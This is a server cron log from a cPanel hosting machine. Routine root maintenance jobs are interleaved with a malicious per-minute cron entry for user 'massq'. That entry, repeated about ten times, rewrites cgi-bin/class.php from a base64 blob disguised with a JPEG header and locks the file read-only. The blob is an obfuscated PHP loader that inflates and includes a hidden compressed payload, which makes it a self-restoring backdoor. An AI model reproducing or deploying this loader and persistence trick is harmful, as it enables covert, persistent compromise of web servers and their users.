Sep 10 12:58:01 server CROND[20137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:58:01 server CROND[20138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:59:01 server CROND[20499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:59:01 server CROND[20500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:59:01 server CROND[20501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:00:01 server CROND[20982]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:00:01 server CROND[20984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:00:01 server CROND[20994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:00:01 server CROND[20997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:00:01 server CROND[20995]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:00:01 server CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:00:01 server CROND[20996]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 13:00:01 server CROND[21001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:00:01 server CROND[21006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:01:01 server CROND[21875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:01:01 server CROND[21874]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 13:01:01 server CROND[21876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:01:01 server CROND[21877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:01:01 server run-parts(/etc/cron.hourly)[21874]: starting 0anacron
Sep 10 13:01:01 server run-parts(/etc/cron.hourly)[21896]: finished 0anacron
Sep 10 13:02:01 server CROND[22258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:02:01 server CROND[22259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:02:01 server CROND[22260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:03:01 server CROND[22622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:03:01 server CROND[22624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:03:01 server CROND[22623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:04:01 server CROND[23166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:04:01 server CROND[23167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:04:01 server CROND[23168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:05:01 server CROND[23646]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:05:01 server CROND[23649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:05:01 server CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:05:01 server CROND[23657]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:05:01 server CROND[23660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:05:01 server CROND[23659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:05:01 server CROND[23662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:05:01 server CROND[23658]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:06:01 server CROND[24502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:06:01 server CROND[24503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:06:01 server CROND[24504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:07:01 server CROND[24870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:07:01 server CROND[24872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:07:01 server CROND[24873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:08:01 server CROND[25241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:08:01 server CROND[25242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:08:01 server CROND[25243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:09:01 server CROND[25618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:09:01 server CROND[25620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:09:01 server CROND[25621]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 13:09:01 server CROND[25622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:10:01 server CROND[26001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
